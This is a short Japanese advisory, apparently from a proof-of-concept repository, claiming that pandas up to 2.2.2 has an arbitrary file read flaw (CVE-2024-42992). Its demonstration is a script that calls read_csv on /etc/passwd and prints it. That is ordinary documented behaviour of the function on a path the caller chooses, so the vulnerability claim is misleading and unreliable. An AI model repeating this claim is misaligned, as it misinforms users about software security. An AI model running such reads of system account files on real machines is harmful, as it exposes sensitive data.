CVE-2024-42992

Python Pip Pandas v2.2.2には任意のファイルが含まれていることが発見されました

Pip Pandas（全バージョン）-<=2.2.2

「pandas」ライブラリには任意のファイル読み取りの脆弱性が存在し、攻撃者はこの脆弱性を利用してファイルシステム上の任意のファイルを無制限に読み取ることができます。この脆弱性により、「/etc/passwd」などの機密ファイルへの不正アクセスが許可されます。

pandasライブラリは、さまざまなファイル形式からデータを読み取る機能を含む、強力なデータ操作機能を提供します。しかし、入力として提供されるファイルパスに対する制限が不十分なため、悪意のあるユーザーが任意のファイルを指定して読み取ることができます。 この脆弱性は、次のコードスニペットで実証できます:

import pandas as pd
# Attempt to read the /etc/passwd file
try:
# Use pandas to read the file, specifying the colon as a separator
  df = pd.read_csv('/etc/passwd', sep=':', header=None)
  print(df)
except Exception as e:
  print("Error occurred while reading the file:", e)

このコードは、Unixベースのシステムでユーザーアカウント情報を含む重要なファイルである「/etc/passwd」ファイルの読み取りを試みます。コードが正常に実行されると、この機密ファイルの内容が出力されます。

一部のオンラインまたはローカルアクセスシナリオでは、これを正常に再現できます。replyt.comなどの一部のオンライン環境では、特に再現性が高くなります。

使用方法（How to use）

python CVE-2024-42992.py